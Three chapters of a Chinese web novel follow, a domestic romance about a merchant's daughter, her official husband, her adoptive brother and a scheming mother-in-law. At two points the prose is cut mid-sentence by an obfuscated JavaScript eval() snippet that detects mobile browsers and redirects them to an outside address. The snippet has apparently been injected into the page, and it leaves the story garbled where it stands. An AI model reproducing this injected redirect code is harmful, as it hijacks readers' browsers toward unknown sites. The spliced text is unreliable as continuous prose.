对于葛氏的谋算,周妈妈从始至终都知晓,也懂得这些都是为着家主、沈氏。可她听闻这番话却觉得不寒而栗,背脊打了个抖,也不知替哪位寒了一寒心尖。 唯恐葛氏看出端倪,周妈妈脑袋低得更狠,应道:“夫人明智。” - 早在年前的冬至日,开封府就在皇宫前头搭建起“山棚”,上刻“与民同乐万寿彩山”。元宵节当日,无数百姓涌入街头,御街两侧的廊下聚集许许多多表演奇特技能的艺人。 歌舞百戏,应接不暇。 乐声喧嚣,人声鼎沸。 十余里外还可听到。 先头在王家用过晚饭,甄宛筠拉着靳连珠上街头赏灯。难得见到这样的盛景,靳连珠看得入迷,扎在人堆儿里迟迟迈不开步子。 廊下比艺人表演的节目包括击丸、蹴鞠、走悬空绳索、趴高竿等等。 只见一男子向后弯腰成弓状,头顶压低到腰部以下的位置,凭借倒着上身的姿势去吃冷淘。另有一男子表演口吞铁剑,外圈观者无不拍手叫好。 靳连珠看得起劲儿,后知后觉发现甄宛筠一言未发,遂看过去,发现她表情不太明朗。 靳连珠心头一紧,忙问:“怎的了?” 甄宛筠犹豫半晌,十分歉疚地开腔:“我这人酒量不佳,喝醉了容易胡言乱语,皆当不得真。上一回,我在清风坊胡乱发酒疯,没说什么冒犯你的话吧?” 靳连珠没想到她闷闷不乐良久就为这件事,畅快笑道:“没有。” 甄宛筠不放心:“真的?” 靳连珠点头如捣蒜,心道:甄宛筠哪算胡言乱语,分明是无心帮了他们夫妇一把,她感激还来不及呢。 “元宵佳节,盛会在前,你别为莫须有的琐事烦心,好好享受当下才是正经事。”靳连珠拉着甄宛筠穿梭在人群中,笑靥比之日光更夺目。 甄宛筠晃晃脑袋,驱散那些劳什子的心事,随着她的脚步一并投入到热闹中。 宫前的彩山早已张灯结彩,金碧辉煌。光线相互照射,锦绣璀璨,交相辉映。朝向北方的那面以彩带扎起来,重重叠叠,上头还画着各类传说故事。 最顶处有辘轱把水带至木柜里,木柜定时翻转倾泻储存的水,水流犹如瀑布,让下方两条草把扎成、以青色帷幕遮笼的龙栩栩如生。 依照甄宛筠所言,靳连珠也去买了两盏灯,与周遭百姓们一样,把燃着烛火的灯笼放置于龙体之上。远远望去,两条龙蜿蜒起伏,就像真的在腾飞游走似的。 恣意游玩一通,两人都累得走不动道,索性寻个街边的茶铺子,点一盏茶慢慢饮着。 没多久,王濮存赶来接甄宛筠回府。 他今日也去绥武府赴宴,理应与沈敬行同路。 靳连珠往后眺望,不见沈敬行人,遂向王濮存打听。 王濮存面上闪过一丝疑惑,实话讲:“他早些时候就离席了,别是街道上人太多,你们走散了吧?眼看天色不早了,不如这样,我们先驾车送你回府,留个下人在街上慢慢寻他。” “不必了。” 靳连珠婉拒:“我同官人约好了共赏灯会,不妨再等一会。” 既是他们夫妇约好的事情,王濮存就不便再说了。 他见她带着仆从,这里又是皇宫附近,到处皆为侍卫,不会出什么乱子,于是心放回肚子里,带着困得东倒西歪的甄宛筠先走了。 目送他们离开之后,靳连珠带着仆从们去一旁的酒楼小坐。 以防错过沈敬行,她特地要了楼上靠窗的雅间,撑着下巴,吹着风,一边赏景一边寻人。 不知什么时候,隔壁雅间来了客人,是一男一女。 女的哭哭啼啼,好不可怜。男的一言不发,只背对她站在那儿,影子倒映在屏风上,肩宽窄腰,风姿绰约,不看脸也知晓是个一顶一的俏郎君。 无奈靳连珠心里头有人了,对外人的感情债无甚兴趣,正打算换个地儿躲清闲,忽而瞧见随小厮一道进门的男子。 一身素袍,仪态端庄,相貌堂堂,肤色因着多年走南闯北经商晒得黝黑,眼仁黑又亮,唇角微微勾着。 他牢记男女大防,哪怕面对自家人亦不敢破坏规矩,故而独自站定在几步之外,笑容如春风般和睦:“义妹。” 靳连珠全然没想到会在此地见着家人,还是应该远在淮州的家人,一时惊喜过头,嘴巴翕张几回,没说出什么话来,眼睛倒是先红了。 与此同时,隔壁传来娇滴滴的哭泣声:“沈大人,这门婚事乃家中长辈的意思,您单方面拒了照样不作数。” “我虽为庶女,却是正正经经从绥武府出来的姑娘,入你府上做个妾还是配得的。大人当初愿意娶商贾之女为妻,想来并非拜高踩低之人。” “沈家老夫人相中我,正巧我也需要个依靠。咱们两厢都有所求,何不就乖乖的应了,免得让双方长辈的面子上都抹不开。” 17. 第十七回 茶楼内客人络绎不绝,另一边雅间内的男客正热火朝天的讨论节后各国使臣献礼之事,窗外充斥着锣鼓声、人声,震耳欲聋。 大抵是隔壁的姑娘哭得太真情实意,就算靳连珠没听清多少内容,思绪亦不由飞走一瞬,忖度:不知道哪家的姑娘,仗着有长辈撑腰,竟敢私下寻男子说话,张口闭口的就要给人做妾,未免忒不爱惜自个儿。 仅这一瞬。 飘走的思绪就被靳连珠抓回来了。 因着隔壁那档子儿女情长之事,此地不再适宜叙话,靳连珠做了个邀请的手势,打算带着久别重逢的义兄上街,边说边逛,好好赏一赏永平城的元宵盛景。 可她没听见那姑娘的话,不代表靳子骞也没听见。 他积年累月在商队里打拼,练就一身好本事,耳力、眼力尤为过人。 满永平城内,娶商贾之女为妻的沈大人还能有谁? 靳子骞很难不认为靳连珠这一遭是为抓丈夫的私情来了,眼底晃过一丝悲戚的光,最终还是不舍得当众揭开她的痛处,叹一声暂且放过此事。 他背着手,步伐款款的跟上,含笑道:“近来身子可好些了?” 年前寄回淮州的那封家书中,靳连珠唯恐二老担忧,一嘴没提自个儿病得下不来床榻的事儿。靳子骞突然发问,让她倍感意外:“义兄怎么晓得?” 靳子骞白她一眼,没好气地答曰:“当初欢欢喜喜出远门成婚的胖丫头,现在瘦成风吹就倒、愁眉不展的模样。我又没瞎,怎会看不出来。” 靳连珠的关注点却偏了,叉着腰气哼哼地反驳:“我从没胖过,休要血口喷人!” 两人对视着,沉默半晌,突然都抖着肩膀笑个没完。 气氛里充斥着道不尽的融洽。 “义兄怎到永平城来了?”说着,靳连珠掏出碎银买下一张糖油饼,掰成两半,认真比较一番大小之后,果断把小的递给靳子骞。 她冲他一挑眉,表情鬼灵精,险些就让他认为她是真的爽朗大度。 这份调皮劲儿,简直跟儿时一模一样。 靳子骞失笑,接过来用油纸包着咬一大口,入嘴甜滋滋、油腻腻,不符合他的口味,因着是靳连珠给的,他硬着头皮都吃完了,随后引她到亭中坐着叙话。 “元宵之后不久各国使臣前来献礼,永平城商贸大兴,为着能赶上这个一年一度的机会,我带着商队于春节前就出发了。原本计划初二或初三就到这边,还能跟你一起过个年,怪就怪今冬大雪太多,路上耽搁了。” “今儿也不算晚,正巧凑得上元宵盛会的热闹。” 靳连珠话锋一转,奇怪:“人海茫茫,义兄是怎么发现我的?” 靳子骞理所当然道:“连自家妹子都认不清,我这兄长白做了。” 这些个俏皮话深得靳连珠欢心,她没计较,笑一笑,向他打听家中情况。 靳子骞一五一十都说了。 父亲大人的性子真真儿一刻都闲不下来,前儿跑一趟河都县开丝绸分店,后儿跑一趟义清郡开酒馆。银钱赚得多少已经不在乎了,全为着自己个儿畅快。 母亲大人仍旧喜爱侍弄花草,家里院子忒小,许多名品栽种培育起来很不方便,父亲大人干脆在临近郊外的地方重金购入一座园子,聘请手艺出众的花匠师傅与母亲大人一同打理,以减轻她的负担。 家中一切跟靳连珠在的时候相比没有太大的变化,众人的日子过得平淡且舒心,唯一一点—— 靳子骞叹:“二老实在太挂念你了,一度想着割舍掉淮州的产业,举家搬到永平城,以便照料你。” 闻言,靳连珠鼻酸不已,匆忙低头掩盖红透的眼眶,喉头被翻涌的泪水梗住,使得她一时之间说不出话来。 斜对面的廊下又有伶人唱起小曲儿,为迎合元宵佳节,唱词饱含团圆美满的寓意。 靳连珠好不容易压下去的思乡之情再度发作,没忍住掉了一两颗泪珠,砸落在衣裳上,洇开一片湿痕。 她别过头,用衣袖胡乱擦了擦,徐徐道:“父亲毕生心血都在淮州,怎能说弃就弃。义兄忙完这一遭回去,定要替我好好开解二老,就说,我在这边一切顺利,婆母慈爱、丈夫疼惜,找不出丝毫不顺心的地方,只管叫他们把心放回肚子里。” 靳子骞欲掏出帕子给她擦眼泪的动作一停,想到酒楼隔间发生的事儿,怒意顷刻间涌入心头,再一瞧靳连珠眼泪汪汪的模样,那股火立即就堙灭了,万千愁绪化为一声长叹:“成,哥哥晓得了。” 两人语气轻轻地说一会子话,靳连珠使唤白芷去买鱼饵,接着慢悠悠站起身,靠着栏杆,姿态闲散地投喂池中的锦鲤。眼神时不时往街头瞟,生怕错过沈敬行的身影。 靳子骞耐心候在一旁,等她喂完,立即把干净的帕子递过去,极轻地笑一声。 靳连珠不解:“?” “没什么。” 靳子骞摇头,说:“想起一件往事罢了。” 靳连珠偏要追问:“何事?” 靳子骞稍稍扭脸,目光落在她一张虽有所变化但仍娇艳的面庞上,仿佛穿越分别的两年光阴,又回到幼年时候。 语调便也随之轻快许多。 “从前你性子顽劣,为着捞一条鱼,祸害满池子的莲花都败了,气得母亲大人逮着你一顿胖揍,又把你锁在房中大半个月思过。你不服,说莲花易得,鱼儿游走就不再回来了,结果又被收拾一顿。” 靳子骞独立的早,那会子正跟着旁支的一位大伯共同照看码头生意,偶一天他得空归家用饭,得知靳连珠正闹绝食,一连两天滴米未进,吓得他速速前去解救。 打开门就看见靳连珠一张苍白的小脸,消瘦一圈,恹恹地趴在矮桌上呼唤义兄。 靳子骞惯来疼她,当即什么都顾不上了。不但帮着她逃出家门,还把身上所有的银钱都给她,叮嘱她上馆子里吃顿好的。 经他这么一描述,靳连珠也记起来了,眼睛弯成月牙状。 像模像样地作揖:“还得多谢义兄搭救。” 否则依照母亲大人的脾性,非得关着她直到解气为止。那样她压根没机会溜出去,更没有后头误打误撞攀上驿馆的墙头,遇见沈敬行一事。 往更深处讲,她与沈敬行的这段缘分,还得算上义兄的一份功劳。 靳子骞对上靳连珠清凌凌的眼仁,却笑不出来。 早知今日,他当初无论如何都不会帮靳连珠打开那道锁,放她出门,致使她遇见一段孽缘,祸害余生。 自从途中收到母亲大人所写的信笺,得知靳连珠这桩婚事的真相开始,靳子骞一颗心就没踏实过,总想着快一些,再快一些见着她,总得亲眼确保她无事才成。 当靳连珠真真儿站在面前,虽然没有提及旁的,靳子骞看着她的样子,也晓得她成婚这些年日子过得并不如意。 他这趟上永平城,原本只为生意,而今一颗心却全是为着她了。 情绪逐渐膨胀,有些话到嘴边,变成不得不说的境地。靳子骞不由得上前一步欺近她,压低声量道:“不如,你尽早弃了……” 话音戛然而止。 从旁边传来的一道大力突然把靳连珠拽走。她跌跌撞撞倒入温热的胸膛里,柔弱似无骨的指尖甫一触及对方的前襟,紧接着就被掐着腰站直。 彼此之间拉开一道不短的间隙,阵阵风袭来,吹拂起的清香丝丝缕缕地缠绕着她,其中混杂淡淡的女儿香反倒闻不出来了。 靳连珠心弦蓦然一动,抬头望去,撞见沈敬行一双幽暗的深眸,顿时雀跃道:“允执。” 沈敬行还不太习惯于人前被她这么称呼,脸上一闪而过的赧然,随即握住她的腕子稍稍用力把人拽到身后,紧紧盯着脸生的男子,目光如炬。 虽一言未发,但拷问的意思明了。 俨然把他当作哄骗良家的登徒浪荡子了。 靳子骞瞧出眼前这位便是传闻中才貌双全、品行雅正、年少有为的沈尚书,亦是哄得他义妹神魂颠倒,甘愿赌上身家性命都要远嫁到永平城的薄情郎。 酒楼撞见沈敬行与另一女子私会在前,靳子骞本以为靳连珠会死心,干脆和离,随自己个儿回淮州,一家人团圆的过日子,没成想,她待他不改分毫。 靳子骞不晓得该气谁,登时垮下脸色。 两人沉默的对峙,气氛变得有些微妙。 靳连珠自然察觉到不对劲,轻拽着沈敬行的衣袖,赶忙解释:“这位是我家中义兄,随父亲姓,名唤子骞。趁着各国使臣朝见,永平城内大兴贸易的节骨眼儿,领着人做些生意来了。” “许久没见义兄,聊家常聊得起兴,一时没注意...你何时来的?” 靳连珠见着沈敬行难免就有一肚子话要说,落入靳子骞的眼里变成卑微讨好。 须知从前的靳连珠恣意快活,是人世间最不羁的小姑娘,怎么成亲之后反倒变了个人一样。 思及此,靳子骞愈发心气不顺。 沈敬行闻言则有些愕然。 靳连珠曾经在信中提过一回,说靳子骞是父亲大人经商途中捡到的,家人因战乱丧命,见他一个孩童就快活不下去,实在可怜,干脆认作义子养着了。 靳子骞在经商一事上颇有天赋,能力也强,深得父亲大人的信赖,十一二岁起就随着长辈们一并打理铺子。 沈敬行在淮州的那几月,正巧赶上靳子骞照看码头生意。他整日宿在那方,因而两人不曾打过照面,方才沈敬行没认出他也不奇怪。 于情于理,沈敬行都该随着靳连珠称呼一声义兄。 他神色变得恭敬,正欲见礼,靳子骞却别过脸,直接同靳连珠道:“我与相熟的商户约定议事,不好叫人干等着,这便过去了。你也早些归家,别贪恋热闹在外逗留,不太安全。” 靳连珠一一应下。 靳子骞顿了顿,瞥一眼沈敬行,意味深长道:“春寒料峭,你身子弱,容易害冷,夜里烧炭火注意着点,最好灌个汤婆子暖一暖手脚。” 这些关切的话音,靳连珠小的时候常常听靳子骞啰嗦,但她如今已经嫁人,不是小孩子了。靳连珠有些难为情,生怕沈敬行误会自己个儿矫情,含糊答应一声,便拉着他先行离开。 因着两人碰头太晚,硬生生拖迟太多时候,已不便再去逛一遭。 主要还是靳连珠担忧归家晚了,被婆母知晓又得逮着她一顿念叨,还不如现在回去,说不准能吃上一碗热乎乎的汤圆。 马车停在人流较为稀少的东街小巷口,靳连珠刚钻进去,立即感受到一股扑面而来的暖意,随即发现车厢内壁嵌着一层厚皮子,垫子都换成厚实又软绵的了,小几上还放着精致的手炉,脚边烧着一盆炭火。 她省得这些必然是沈敬行着人置办的,感动之余有几分惊奇,戏谑道:“我家官人什么时候学会体贴娘子啦?” 沈敬行坐下之后低头整理衣摆,闻言动作一滞,若有所思地低喃:“从前,我待你很不好么?” 靳连珠随意一说:“同你玩笑一句,怎的当真了。” 沈敬行定定地看着她,沉默着思索她的话是真是假。 以往他从不会花费心思干一些捕风捉影的事,也许因着靳子骞那一番兄妹之间关怀的话语,让他心底莫名其妙生出几分不爽,同时又在懊恼自个儿,怎就一直没想到夜里给她灌个汤婆子暖暖手脚。 靳连珠不知道在想什么,竟没发现他直勾勾的眼神。她捧着手炉,兀自低头,后颈修长白皙,隐约可见青绿色的血管。 像一大块白花花的芙蓉糕。 沈敬行抿抿唇,搭在膝头的双手紧攥,克制着没去抚摸。 两人难得有这么安静的时候,一路无言,直至到家。 进入雅韵轩,沈敬行还没来得及坐下吃口热气腾腾的汤圆,周妈妈便急匆匆赶来替老夫人传话,叫他到碧波轩去一趟。 既然是一家子叙话,那么靳连珠也该在。 沈敬行询问她要不要换身衣裳。 靳连珠正要搭腔,先瞥见周妈妈为难的神色。 沈敬行或许不懂得,但她一眼就发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怪也怪他当初看她病中的样子太骇人,不惜以一个承诺也要换回管家权,情急之下掉入母亲的圈套。 岂料,母亲拿这事作筏子,强逼他纳妾。 沈敬行一而再再而三的回绝母亲,表明心意绝不蓄婢纳妾。 没成想,他在碧波轩说的话,被母亲有心差人传入那姑娘的耳朵里。 她也是个胆子大的,竟然派人尾随他到茶楼,见小厮劝解不成,干脆亲自露面,哭得一把鼻涕一把泪,求他开恩收下她。 依照沈敬行强硬的脾性,绝对不会留丝毫情面就把人打发了。 偏偏,对方出自绥武府。 虽是庶出的姑娘,但家中嫡姐乃深受官家宠爱的宜妃娘娘,因着这一层关系,绥武府称得上皇亲国戚,满门风头正盛,轻易怠慢不得。 沈敬行这才肯耐着性子坐下听她哭了一场。 三言两语的,他便发觉出端倪。 大抵是这姑娘的小娘把沈家夸得天上有地下无,让她动了非进门不可的决心。 毕竟当娘的一心为着孩子考虑,哪里舍得让宝贝姑娘嫁个穷举子,草草了却余生,只觉得哪怕做妾,也比吃大半辈子的清贫苦要强。 况且,两家素有旧交,结亲便是亲上加亲。 沈家讲究勤俭节约,家底却殷实,再算上大娘子靳氏从淮州带来的丰厚嫁妆,更是享受不完的荣华富贵。 老夫人脾性善、好相与,大娘子又是个性子软身子差的商贾女,生不生得下孩子另说,想她也没有那些治理内宅的雷霆手腕,全然构不成威胁。 沈敬行年少有为、相貌堂堂,放眼全皇城都挑不出第二个像他这样的翩翩公子,比那些不知道这辈子还能不能混出头的穷举子强上千万倍。 在这家做妾,身心都不负累,妥妥就是享福来了。 母女俩算盘打得叮当响,唯独没料到沈敬行铁了心了说不愿意,这才有了今日的一场闹剧——沈敬行从对方口中听见并不恭敬的一声“商贾女”,立即冷了脸,怒火从心而起,拍桌呵斥她闭嘴,接着吩咐拂冬把人送回绥武府,务必在荣老爷面前好生说道一番。 放纵未嫁女尾随男子,还哭着喊着闹着要做妾,成何体统! 只是没想到,这事儿这么快就传入葛氏耳朵里,亦没料到,葛氏竟不惜把家事捅到太后娘娘跟前儿,兴许这会子,官家也知晓了…… 这一回,葛氏打定主意要逼沈敬行就范,无奈他满心满眼都是大娘子,也只想与之厮守一生。 所习得的礼义廉耻不允许沈敬行做一个背信弃义的负心汉,故而,他万万不可能纳别的女子进门。 正烦着,靳连珠冰凉的脚尖碰到沈敬行,成功唤回他的一丝神智。 沈敬行现在一脑门子官司,徐徐吐出一口郁气,答曰:“都是些家长里短罢了,无甚可说的。” 靳连珠很是了解他,见状就猜到事儿恐怕不简单。 她摸黑抚上沈敬行的面颊,柔声问:“难得见你唉声叹气的样子,到底怎么了?不管什么难处,我们共同想法子,总比你一个人承担要强。” “真就只是寻常叙话而已,别胡思乱想。严郎中说过,你身子骨这么虚弱,十有八九是心思太重引起的。” 沈敬行一口否决,松开她,翻身坐起来,到床尾去了。 靳连珠猜不到他要作甚,正准备跟过去,被子下的一双脚突然被拢住。他掌心暖烘烘的,烫得她脸颊也烧起来了。 这样私密的事儿,浑然不像沈敬行一惯的作派。 靳连珠拉高被子遮住大半张脸,肩膀缩着,活像只鹌鹑。 她有些受宠若惊,更多是羞怯,致使舌头都捋不直了,跟喘一样儿喃喃:“允执,不必这样的,我其实一点儿也不冷。你,快回来歇着。” “嗯。”沈敬行含糊应一声,歪着身子靠在床柱上,懒懒散散地合眼,手掌保持合拢的姿势没动,哄似地说:“焐热了就躺回去,你且睡,不必管我。” 18. 第十八回 靳连珠踏踏实实睡上一觉,梦中还觉得被一只暖炉烘着,舒服至极。 她下意识去寻更多的温热,不知不觉中双足踩上一处坚实的地方,仔细感受一下,又觉得凹凸不平且很有弹性。 迷迷糊糊之际,靳连珠很难思索出这是个甚么东西,干脆就这么切实踩着继续沉睡,自然也没听见床尾传来的那声隐忍的轻哼,以及某人霍然睁开的眼睛,逐渐攥紧的双拳…… - 立春前一日,开封府进献鞭春用的土牛。 次日一早,府僚打春,大街小巷皆有百姓卖小春牛的,往往花装栏坐,上列百戏人物,春幡雪柳,各相献遗。 年节这些日子里,靳连珠仗着有沈敬行撑腰,几乎日日往外跑,又有甄宛筠作伴,玩得不亦乐乎。 这会子听闻外头有热闹,她根本坐不住,壮着胆子去请示婆母,能否放她带下人外出采买。 这由头找的着实荒谬,当府中那些专职采买的仆妇是吃干饭的不成? 甫一说出口,靳连珠随即意识到异样,心里头直打鼓,怕得冷汗都滚下来了,恨不得冲上前把周妈妈拽住,说自个儿不出门了,只待在房里看账本。 可周妈妈腿脚利索,眨眼的功夫,已经不见影儿了。 靳连珠心惊胆颤的候着,指头不停绕啊绕,把帕子掐出好几道褶子。 周妈妈很快折返,答曰:“老夫人允了。” 靳连珠意料之外,清凌凌的眼珠盯着周妈妈,表情茫然,惊讶到失声:平日婆母免不了要借机痛斥她一顿,今儿就这么轻易放她走了? 究竟是表面意思,还是另有暗示? 她心里头拿捏不定主意,不敢随随便便作答。 亏得旁边白芷捅她腰侧才反应过来,急忙俯身谢过。 接着听周妈妈道:“今日各国使臣入城朝贺,大街小巷的很是热闹,娘子买完物什不必急着归家,可以寻个地方品品茶、见见世面。切记多带几个身强力壮的小厮随行。这个,老夫人也允了。” 闻言,靳连珠突然有种满肚子的鬼主意都被参破的错觉,不免脸上一热,声也低下去了:“是。” 出了门儿,兜兜转转的,靳连珠又到上回撞破别人感情债的茶楼去了,更巧的是,她竟又在此处碰见靳子骞。 靳子骞正跟三个身着异服的男子攀谈。 他背对门口,因而没瞧见靳连珠。 靳连珠没有上前贸然打扰,差小厮领着自个儿到楼上雅间,点一壶临江玉津,边品茶,边悠哉悠哉看着窗外的风景。 待靳子骞客客气气把那三人送走,只身返回柜台前结账的时候,靳连珠这才使唤白芷把他请上来稍坐。 靳连珠给他斟一杯茶,推过去。 正巧靳子骞与人闲扯一通长篇大论,口渴得很,端起茶盏闷下,没顾得上细细品味,揪着衣袖擦拭嘴角,可谓豪放。 靳连珠儿时也是这般狂放不羁的性子,后来与沈家婚期一定,从永平城来的那位老嬷嬷手段十分强硬,不出半年光景,就把她身上登不了大雅之堂的坏毛病全给除掉了。 不过,靳连珠并不跟自家人计较这些繁文缛节,客客气气地问:“上回我差人送去的定窑白釉印花盘,义兄可喜欢?” 靳子骞一直酷爱收集瓷器,靳连珠偶然得到这么个珍贵玩意儿,立即差人送到他所住的客栈上了。 一连几日,却迟迟未见他派人来回信儿。 靳连珠不免纳闷:“义兄这些日子忙得甚么?” “生意上的琐事,说起来没完没了,不提也罢。” 靳子骞憨厚地笑一笑,抬起眼皮,仔仔细细地打量她。 相较先前面白如纸的憔悴神色,靳连珠今儿面皮上添新妆,粉嫩如枝头花苞,含羞带怯,总归没那么惹人疼了。 靳子骞心下思忖: 既然有心思出门赏景品茶,闲暇时还惦记着给他搜罗瓷器,想来,元宵佳节那夜,撞破沈敬行与别的女子私下见面一事并未让她介怀,亦或者,那巧言令色的小子又把她哄骗过去了。 靳连珠浑身上下仅这一点不好。 性子太执拗,但凡认准一人或一事,不撞个头破血流绝不认。 就算他当即揭破沈氏的鼓面,她也未必肯信。 靳子骞幽幽叹出一声:“看你比之前胖乎些,应是康健了许多。” 靳连珠“啊呀”一声,双手捂住脸颊,表情有些惊恐:“当真胖了?” 靳子骞一噎。 他怎么忘了,这位妹妹最爱漂亮,从前在家中的时候,回回出门都得好一通捯饬,精致的跟糖画小人儿似的。 嫁人之后也许是担心自己穿金戴银太招摇,会给在朝为官,素有廉洁之名的官人招惹是非,因而打扮的质朴许多,通体就一支攒珠钗还算拿得出手。 但骨子里,她还是那个注重外表的小姑娘。 靳子骞正欲说些甚么找补,随即听见靳连珠气恼地哼哼:“都怪官人。非说我的身子太虚要好生补一补,总让小厨房做些诱人的菜肴。我在院子里除了坐着便是躺着,用完饭鲜少走动,不长肉才怪。” 偏巧这世间有些事经不得念叨。 话音一落,靳连珠便望见那一抹熟悉的身影。 沈敬行一袭掇青拾紫的官袍,静静悄悄地立于街旁,相较四周孔武有力、肤色略暗的武官更为纤细高挑,背脊挺得笔直,如同屹立不倒的杨树。 剑眉星目,唇红齿白,斯文秀气,真有点儿像话本子里的男妖精。 他惯来警惕的很,立即察觉到高处投来的视线,顺势望过去,却没料到竟然是自家娘子,平淡的面上当即滑过一丝不自然。 跟旁边的同僚交谈几句,沈敬行径直往这边来。 由茶馆小厮引上楼,才发现雅间内还有另一男子。 靳子骞的穿着与那夜初见的时候不大一样,因着今日要见别的经商者谈合作事宜,为显郑重,他特地把自己个儿收拾一通,从头到脚都是能拿得出手的上等货。 尽管如此,靳子骞到底还是比不上沈敬行这种从小金尊玉贵养起来的哥儿,他甫一走入这间屋子,光线似乎都变得明亮许多。 一想到靳连珠就是被这副白面皮囊蛊惑,靳子骞难免心气不顺,冷声一哼,自顾自斟茶饮下,扭脸往窗外看去。 沈敬行在官场许久,不至于连这点眼力见都没有,虽不晓得自己何处开罪对方,但仍把表面的礼数做足,毕恭毕敬地唤上一声义兄。 旋即看向靳连珠,同她商量:“晌午请义兄到府上用饭?” “草民还有生意上的事宜亟待处理,就不到大人家中叨扰了。” 未等靳连珠表态,靳子骞便直接回绝。 他放下茶盏,朝着身穿官袍的沈敬行躬身辞别,恭谨之余尽显疏远。 再看向靳连珠的时候又仿若变了一个人,满面笑容,如沐春风道:“花盘不错,我很喜欢。日后待我寻到好的玩意儿,再还你这份礼。” 靳连珠甜甜应答:“成。” 见状,沈敬行眉尖一皱,隐约从靳子骞话语中察觉出几分异样,没来得及深入考量,便被靳连珠拖着懒懒散散的语调搅乱了:“你直接到茶楼来找我,不会被同僚说道罢?那方的事儿都忙完了?” 这才发现,靳子骞早就走没影儿了。 沈敬行不欲与那些繁杂的思绪多作纠缠,竭力摒弃心底的疑虑,让注意力回到当前眼下。说:“迎接使臣并非工部之事,我不过代替王濮存站一会。” “王大人忙什么去了?” “身子抱恙,到附近的荫蔽处休息片刻。” 靳连珠关怀道:“现下可好些了?” 沈敬行意味深长地看她一眼,闷闷嗯声。 靳连珠扭着身子往里坐一坐,给沈敬行腾出位置,眼仁闪着光,深海明珠一般,仿佛黏在他身上,拉着丝,腻歪歪的。 这道视线实在太灼热,沈敬行很难忽略。 饮下她递来的茶,他品一品舌尖清苦的余味,不动声色地打探:“今日怎有闲情逸致出门品茶赏景?跟义兄事先约定了?” “我倒也想坐下同兄长话话家常,可惜他是个有正经事要干的大忙人,自从元宵盛会那晚之后,我连他的影儿都摸不着。” 靳连珠没有防备心,一五一十都说明了。 “不过凑巧,我得婆母应允,出门瞧一瞧各国使臣朝拜的热闹,兄长在此与人谈生意,两厢遇见,这才有机会坐下喝一盏茶。没聊三两句,你便来了。” 不知哪个字眼拨动沈敬行的逆鳞,他难得就耍起性子,冷厉地嗤道:“听起来,倒像是我出现的不合时宜,坏了你的事。” 此言一出,反倒把自个儿吓一跳。 拈酸吃醋混不似他的作派,遑论对方还是与靳连珠一道长大的义兄。 沈敬行眉心轻蹙而起,脑袋飞速运作,正欲说些甚么找补。 靳连珠却拉着他往窗边凑,雀跃不已:“为首的是哪国的使臣,好气派。” 方才楼下围观百姓惊呼阵阵,靳连珠一门心思都在那处,竟没听清楚他说了什么。这会儿后知后觉的发问:“官人刚刚同我讲话了?” 沈敬行掩去眸底的异样,将错就错道:“嗯。你不是要看使臣么,在这儿待着没什么意思,我带你下楼到近处瞧。” “好呀。”靳连珠简直求之不得。 付过银钱,夫妇二人结伴走入人群。 因着沈敬行身穿官袍,百姓们哪敢往前推搡,自觉让出一条道。 尽管如此,他的手臂仍虚搭在她腰间作保护状,略一俯身,凑近靳连珠耳畔,同她介绍一茬又一茬从面前经过的使臣,偶尔会停下听她发问,再详细作答。 日头正佳,喧闹街头。 俊秀郎君与俏丽女子紧切依偎。 少年夫妻。 伉俪情深。 堪称天赐良缘,天作之合。 短短半日光景,此事经由说书先生之口几乎传遍整座皇城,暗地里传播许久的谣言不攻自破,使得那些蠢蠢欲动的人家歇了心思。 与此同时,碧波轩的葛氏听见下人带回的消息,气得眼角细纹抽搐,双眸中淬着火,狠戾道:“不愧为我养出的好儿子,在官场上混久了,把阳奉阴违这一套使的得心应手。当初口口声声说娶商贾女只为报恩,谁晓得他竟然存着私心,一通言辞,两套作派,骗的亲娘都信了。” 周妈妈察言观色,询问:“是否跟绥武府通个信儿?” 绥武府的刘夫人原本不乐意放二姑娘做妾。 虽然是个庶出的姑娘,她小娘的来路也不太能上得了台面,但二姑娘生得着实貌美,来日侯爷手底下那帮穷苦出身的举子入仕,万一混出个名堂,少不了有用得着二姑娘的地方。 全因着两家的旧交,再加上老夫人明里暗里表示沈敬行与大娘子感情不睦,二姑娘进门绝不会受到亏待,之后两家有了这层姻亲关系更是好处不尽。这才肯点头答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126797|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应。 现如今闹出这一遭,唯恐绥武府反悔,沈家自然要派人登门表表态。 “这事我不放心交给旁人,你亲自去一趟。” 葛氏阖上眼,揉着酸胀的太阳穴,烦躁道:“避着点,别被行儿的人发觉。待他入贡院之后,再把刘夫人和二姑娘请到府上小坐。” 嘴上说是小坐,实则要趁沈敬行不在,无人给靳连珠撑腰的时候,把纳妾的事儿过明路,彻底落定。 周妈妈不解:“老夫人先头瞧上的人选分明是表姑娘,为此不惜把她接入皇城,怎么突然又变了想法?自家人难不成还比不上外头的用着放心?” 葛氏本就烦着,闻言,更没好脾性地斥道:“你少说也伺候我大半辈子了,见识过诸多场面,怎么连这点盘算都没有。” 秦凌莲的品德、样貌皆符合葛氏的心意,又是从小看着长大的姑娘,知根知底,葛氏自然一万个同意让她进门。 怪就怪秦凌莲那个爹不成器,贬官贬到荒芜之地,此生不知道还有没有返回永平城的机会。 途中发妻染病而亡,不出半年,他偷摸续弦,被对方的美色蛊得神魂颠倒,遣散所有姬妾,专宠一人。 待续弦诞下儿子,他更是百依百顺,而那女子仗着有丈夫宠爱、儿子傍身,简直无法无天。 秦凌莲及笄之后,她拉着姑娘不知道相看过多少郎君,最后为着蝇头小利,竟然要把正处于大好年华的姑娘嫁给一个老鳏夫。 有这么一个眼瞎耳聋的父亲和唯利是图的后母,秦凌莲这些年的日子过得何等艰难,可想而知。 